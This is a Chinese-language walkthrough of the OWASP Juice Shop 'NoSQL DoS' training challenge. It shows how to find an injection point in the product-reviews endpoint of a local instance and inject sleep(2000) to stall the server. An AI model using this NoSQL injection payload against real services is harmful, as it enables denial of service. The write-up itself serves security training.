# 【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠


# 【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠

## 0x01 任务简报

<blockquote style="border-left: 5px solid #ff6b6b; background-color: #ffe0e0; padding: 20px; margin: 1.5rem 0; color: #c92a2a; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">🎯</span> 挑战目标
</div>
让服务器休眠一段时间。（它为您做了足够多的艰苦工作）
</blockquote>

<blockquote style="border-left: 5px solid #6f42c1; background-color: #f5f3ff; padding: 20px; margin: 1.5rem 0; color: #5521b5; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">💡</span> 官方提示 (Hints)
</div>
1. 这个挑战本质上是一种简化的拒绝服务（DoS）攻击。<br>
2. 如架构概述所述，OWASP Juice Shop 使用 MongoDB 的衍生版本作为其 NoSQL 数据库。<br>
3. 将此挑战归类为 NoSQL 注入类别，完全暴露了预期的攻击途径。尝试其他方法都无法解决该挑战，即使可能产生相同结果。<br>
4. 尤其需要注意的是，向应用程序发送海量请求并不能解决这个问题。这很可能只会导致服务器实例崩溃。
</blockquote>

---

## 0x02 前置知识

### NoSQL 注入 vs SQL 注入

| 特性 | SQL 注入 | NoSQL 注入 |
|------|--------|----------|
| **目标数据库** | MySQL、SQLite 等 | MongoDB、CouchDB 等 |
| **注入语法** | SQL 语句 | JavaScript 表达式 |
| **常见函数** | `SLEEP()`、`BENCHMARK()` | `sleep()`、`Date.now()` |
| **注释符** | `--`、`#` | `//`、`/* */` |

### MongoDB 的 sleep() 函数

MongoDB 支持在查询中执行 JavaScript 代码，其中 `sleep()` 函数可以让数据库暂停执行：

```javascript
// 让 MongoDB 休眠 2000 毫秒（2 秒）
sleep(2000)
```

**危险性：**
- 攻击者可以通过注入 `sleep()` 让服务器无响应
- 大量并发的 sleep 请求会导致服务器资源耗尽
- 这是一种简化版的拒绝服务（DoS）攻击

---

## 0x03 实战：复现漏洞

### 步骤1：发现注入点

使用 Burp Suite 抓包，打开应用首页并访问任意商品详情页面，在 HTTP 历史记录中找到商品评论接口：

```
GET /rest/products/1/reviews HTTP/1.1
Host: 127.0.0.1:3000
```

**关键发现：** URL 中的数字 `1` 是商品 ID，这是一个潜在的注入点。

将该请求发送到 Burp Suite Repeater。

![发现注入点](../../../../../../public/p/juice-shop-nosql-dos通过-nosql-注入让服务器休眠/assets/Pastedimage20260417094203.png)

### 步骤2：测试注入点

**测试1：输入极高数值**

```
GET /rest/products/99999999/reviews
```

**结果：** 返回空数组，状态码 200 ✅

**测试2：输入单引号**

```
GET /rest/products/'/reviews
```

**结果：** 返回错误，状态码 500 ❌

**测试3：输入双引号**

```
GET /rest/products/"/reviews
```

**结果：** 返回错误，状态码 500 ❌

![注入测试](../../../../../../public/p/juice-shop-nosql-dos通过-nosql-注入让服务器休眠/assets/Pastedimage20260417094914.png)

**结论：** 该接口存在 NoSQL 注入漏洞，用户输入被直接拼接到数据库查询中。

### 步骤3：构造 sleep() Payload

根据题目要求，将商品 ID 替换为 `sleep(2000)` 函数：

```
GET /rest/products/sleep(2000)/reviews HTTP/1.1
Host: 127.0.0.1:3000
```

**发送请求：**

![sleep 注入](../../../../../../public/p/juice-shop-nosql-dos通过-nosql-注入让服务器休眠/assets/Pasted%20image%2020260417095559.png)

**结果：**
- 服务器延迟 2000 毫秒（2 秒）后才返回响应
- 挑战完成！🎉

---

## 参考

- [OWASP Juice Shop 官方解决方案 - NoSQL DoS](https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_let_the_server_sleep_for_some_time)


